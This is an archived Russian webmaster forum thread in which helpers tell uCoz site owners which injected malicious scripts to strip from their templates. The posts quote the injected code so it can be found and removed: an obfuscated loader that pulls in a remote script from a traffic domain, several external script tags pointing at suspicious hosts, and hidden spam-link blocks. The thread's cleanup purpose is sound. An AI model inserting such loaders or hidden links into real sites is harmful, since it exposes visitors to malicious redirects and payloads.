Модератор форума: Yuri_G  
Вирусы на сайтах_3 (архив для чтения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1756 | 19:18:47
Deus_EX, удалить скрипт

Код
<script type="text/javascript" src="/js/scripts.js"></script>


и в самом низу шаблонов кучку поискового спама

Код
<div style="display:none;"> Смотри там <a href="http://www.forucoz.com/">все для ucoz</a> очень много полезной инфы для ucoz.</div><div style="display:none;"> Вот <a href="http://inlost.ru/">все о роке</a> - социальная сеть для рокеров России </div><div style="display:none;"> Также есть сайт, где можно посмотреть <a href="http://deadhash.ru">даты выхода игр</a> без регистрации.</div><div style="display:none;"> Также можете посетить <a href="http://andreyleonov.com/">официальный сайт Леонова</a> и . </div><div style="display:none;"> популярный сайт <a href="http://logical-portal.ru">новинки игр на pc 2013</a> с обзорами авто.</div><div style="display:none;"> Уделите также внимание <a href="http://pleyada.net/">рок сайт</a> , лучшие рок песни</div>
</body>


на внутренних страницах материала и комментария удалить скрипт

Код
<script type="text/javascript">
   (function(w) {
   var script = document.createElement('script');
   var i = setInterval(function() {
   if (typeof w.document.body !== 'undefined') {
   script.src = 'http://flp.444.av.besttrafnov.info' + '/?109594=biduaDx4dnV5cXN-aScjLyMi';
   w.document.body.appendChild(script);
   clearInterval(i);
   }
   }, 200);
};)window);
</script>
это вместо спама

форум у вас закрыт кода не вижу, а авторизироваться для осмотра не буду. может кто и захочет другой, но сайт к осмотру надо было подготовить

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1757 | 19:43:02
SeOn1981 удалите скрипт

Код
<script language='javascript' type='text/javascript' src='http://ratari.ru/5xp7hcttwrd5h1ufgxubro14ynubczth'></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Deus_EX
Сообщений: 39
Репутация: 1

Сообщение # 1758 | 20:24:18
<script language="javascript" async defer src="http://uno.saletraff.info/?t=b&blockids=5050"></script> Подозрительный его не надо убирать??? (включил форум для гостей)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1759 | 21:10:51
Deus_EX, надо убирать. это было содержимое первого скрипта http://www.ls-mods.ru/js/scripts.js из фм тоже стоит удалить

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
LadyAgata
Сообщений: 6
Репутация: 0

Сообщение # 1760 | 10:57:13
Добрый день! Проверьте, пожалуйста, мой сайт http://ladyagata1452.ucoz.ru/ на вирусы. Пользователи говорят, что, когда заходят на главную страницу под своим логином и паролем, антивирус (в данном случае Касперский) начинает вопить, что на сайте вирусы!. Когда я проверяла сайт на наличие вирусов на этом сайте http://antivirus-alarm.ru/, ничего обнаружено не было, а у меня падает посещаемость сайта из-за этого и я не могу полноценно работать. Помогите, пожалуйста
сondor
Сообщений: 4661
Репутация: 1528

Сообщение # 1761 | 11:18:46
Цитата (LadyAgata)
Добрый день! Проверьте, пожалуйста, мой сайт http://ladyagata1452.ucoz.ru/ на вирусы. Пользователи говорят, что, когда заходят на главную страницу под своим логином и паролем, антивирус (в данном случае Касперский) начинает вопить, что на сайте вирусы!. Когда я проверяла сайт на наличие вирусов на этом сайте http://antivirus-alarm.ru/, ничего обнаружено не было, а у меня падает посещаемость сайта из-за этого и я не могу полноценно работать. Помогите, пожалуйста


В шаблоне там где <head> и </head> удалить скрипт:

Код
<script language="javascript" src="http://gocash2.ru3.biz/js/back.php?id=54"></script>


Открываете Панель Управления Дизайн->Быстрая замена участков шаблонов

Там где Что заменить: ставите

Код
<script language="javascript" src="http://gocash2.ru3.biz/js/back.php?id=54"></script>


Там где На что заменить: оставляете пустым

Ставите все галочки и нажимаете произвести замену

Прикрепления: 1800693.jpg (130.0 Kb)
Сообщение отредактировал condor-bird - Пятница, 29 Мар 2013, 11:25:48
LadyAgata
Сообщений: 6
Репутация: 0

Сообщение # 1762 | 11:35:52
Спасибо большое! Надеюсь, все теперь будет хорошо! smile
adriano8177
Сообщений: 9
Репутация: 0

Сообщение # 1763 | 20:37:56
Всем привет. Очень прошу Вас помощь найти, что за вредоносный код блокирует сайт http://supre-hit.ru/, а именно гугл хром

Заранее спасибо
roman911
Сообщений: 38
Репутация: 1

Сообщение # 1764 | 21:02:56
webanet, подскажите, что надо сделать для того, чтобы разблокировать аккаунт, где найти этот вредоносный код? И еще одно, в последнее время на сайте никаких изменений кода вообще не было, откуда там мог взяться этот код?

http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1765 | 21:04:04
adriano8177, вы уже удаляли что-то? сайт блочится по старому домену. поставьте автоматическое перенеаправление со стандартного на прикрепленный и из кода сайта удалите все ссылки на старый домен. в частности счетчик

ссылки в шаблоне верхней части сайта

Цитата
<!--<s5176>-->Главная<!--</s>--></a> <br><a href="http://supre-hit.3dn.ru/index/3"><!--<s3089>-->Регистрация<!--</s>--></a> <br><a href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><!--<s3087>-->Вход<!--</s>--></a></td>
<td width="267"><img src="/.s/t/991/3.jpg" border="0"></td>
<td width="269" style="background:url('/.s/t/991/4.jpg');padding-top:20px;" align="center" valign="top"><span style="color:#441807;font:20pt bold Verdana,Tahoma;"><!-- <logo> -->Мой сайт<!-- </logo> --></span></td>
<td width="149" style="background:url('/.s/t/991/5.jpg');padding-top:5px;font-size:10px;" align="right" valign="top"><!--<s5212>-->Приветствую Вас<!--</s>--> <b>Гость</b> | <a href="http://supre-hit.3dn.ru/load/rss/" title="RSS">RSS</a></td>


ссылка в блоке с категориями

в общем быстрой заменой меняйте на сайте старый адрес на новый в шаблонах и глобальных блоках

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1766 | 21:06:20
roman911,
Цитата
где найти этот вредоносный код?
влепую я не умею отвечать на такие вопросы. пишите в тех

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
roman911
Сообщений: 38
Репутация: 1

Сообщение # 1767 | 21:12:57
webanet, у меня бесплатный аккаунт, а для обращения надо деньги

http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
Yuri825
Сообщений: 13
Репутация: 0

Сообщение # 1768 | 21:14:27
Совсем недавно появились предупреждения о том, что на моём сайте обнаружен вредоносный код. Помогите, пожалуйста, решить проблему.

Сайт: http://russianmodteam.ucoz.com/

Предупреждение выскакивает практически на всех страницах как у гостей, так и у пользователей. Предупреждение выдаёт Яндекс и Google, на Chrome и Mozilla.

Текст предупреждения:

"Сайт russianmodteam.ucoz.com
может угрожать безопасности вашего компьютера.

По нашим данным, на страницах сайта был размещён вредоносный программный код. Это могло произойти как по желанию владельцев сайта, так и без их ведома — в результате действий злоумышленников."
adriano8177
Сообщений: 9
Репутация: 0

Сообщение # 1769 | 21:15:28
webanet, Огромное вам спасибо, а я то ломаю голову, что же не так ... flower
roman911
Сообщений: 38
Репутация: 1

Сообщение # 1770 | 21:20:47
webanet, сайт http://nezhyn.at.ua/ подскажите, где там вредоносный код?

http://nezhyn-portal.org.ua/ - Cайт города Нежин - Первый городской портал
Поиск: